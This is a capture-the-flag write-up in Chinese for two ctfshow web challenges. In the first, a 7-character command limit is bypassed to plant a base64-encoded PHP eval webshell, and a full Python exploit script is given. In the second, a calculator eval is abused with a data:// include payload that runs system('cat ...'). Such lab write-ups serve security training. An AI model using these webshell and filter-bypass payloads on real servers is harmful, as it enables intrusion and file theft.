ctfshow七夕杯wp

  1. 一、WEB
    1. 1.web签到
    2. 2.easy_calc

一、WEB

1.web签到

​ 题目说明仅支持短命令执行且没有回显,先F12查看一下源码:

function help(){
    if(isSafe($("#cmd").val())){
        $("#help").css("color","#69cf56");
        $("#help").html("提交命令执行");
    }else{
        $("#help").css("color","#ec1616");
        $("#help").html("命令字符过长");
        }
}
function isSafe(cmd){
    return cmd.length<=7;
}
function check(){
    if(isSafe($("#cmd").val())){
          $("#help").css("color","#69cf56");
                   $("#help").html("提交命令执行");
                   return true;
     }else{
         $("#help").css("color","#ec1616");
         $("#help").html("命令字符过长");
         return false ;
        }		
}

​ 发现一段js代码,要求命令执行长度不超过7个字符。因为命令执行没有回显,我们可以利用写文件的方法在一个新的文件中进行getshell。首先确定我们文件中的内容:

echo PD9waHAgZXZhbCgkX1BPU1RbMV0pOw==|base64 -d>1.php

​ 通过echo指令向1.php这个文件中写入一句话木马<?php eval($_POST[1]);,由于我们的命令执行长度最多为7个字符,所以我们得将文件中的内容分成若干段倒序新建文件,再利用ls -t>0命令(刚好7个字符)将当前环境下的所有文件按时间顺序存进名为0的文件中,新添加的文件排在最前面(所以新建文件时候要倒序),这时候我们的0文件里面内容如下:

image-20220805165101782

这时候我们再执行. 0命令将0文件当作脚本执行,就成功把一句话木马写进1.php文件中了。

最后附上脚本:

import requests
import time
url = 'http://0964f440-c926-43bf-8fd8-bc8853f97e2b.challenge.ctf.show/api/'
#payload=.0 ls -t>0 echo\\ PD9waHAgZXZhbCgkX1BPU1RbMV0pOw==\\|base64\\ -d\\>1.php
payload=[    ">hp",
             ">1.p\\",
             ">d\\>\\",
             ">\\ -\\",
             ">64\\",
             ">ase\\",
             ">\\|b\\",
             ">Ow==\\",
             ">MV0p\\",
             ">U1Rb\\",
             ">X1BP\\",
             ">bCgk\\",
             ">ZXZh\\",
             ">aHAg\\",
             ">PD9w\\",
             ">o\\ \\",
             ">ech\\",
             "ls -t>0",
             ". 0"]
def write(pay):
    data = {
        "cmd": pay
    }
    r=requests.post(url=url+'tools.php', data=data)
    r.encoding='utf-8'
    if "执行" in r.text:
        print(f'{pay}执行成功')
def run():
    for p in payload:
        print(f"正在执行{p.strip()}")
        write(p.strip())
        time.sleep(1)
def getflag():
    data={
        "1":"system('cat /f*');"
    }
    r=requests.post(url=url+'11.php',data=data)
    print(r.text)
if __name__ == '__main__' :
    run()
    getflag()

注:需要注意对特殊符号的转义处理

2.easy_calc

​ 题目直接给出源码:

<?php


if(check($code)){

    eval('$result='."$code".";");
    echo($result);    
}

function check(&$code){

    $num1=$_POST['num1'];
    $symbol=$_POST['symbol'];
    $num2=$_POST['num2'];

    if(!isset($num1) || !isset($num2) || !isset($symbol) ){
        
        return false;
    }

    if(preg_match("/!|@|#|\\$|\%|\^|\&|\(|_|=|{|'|<|>|\?|\?|\||`|~|\[/", $num1.$num2.$symbol)){
        return false;
    }

    if(preg_match("/^[\+\-\*\/]$/", $symbol)){
        $code = "$num1$symbol$num2";
        return true;
    }

    return false;
}

过滤了小括号,大部分函数都无法使用,首先想到几个不需要使用括号的文件包含函数:include、require、require_once,同时我们想获得回显就需要利用伪协议包含,这里我们利用data://伪协议,将一句话木马<?php eval($_POST[1]);用base64编码绕过过滤,payload如下:

POST 
num1=1;include"data://text/plain;base64,PD9waHAgZXZhbCgkX1BPU1RbMV0pOw";1&symbol=-&num2=1&1=system('cat /s*');

还可以:

POST 
num1=1;include"data:/&symbol=/&num2=text/plain;base64,PD9waHAgZXZhbCgkX1BPU1RbMV0pOw"&1=system('cat /s*');

注:①等于号被过滤了,base64编码后的结果中要把等于号去掉不影响解码结果;

​ ②flag在secret文件中


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至1004454362@qq.com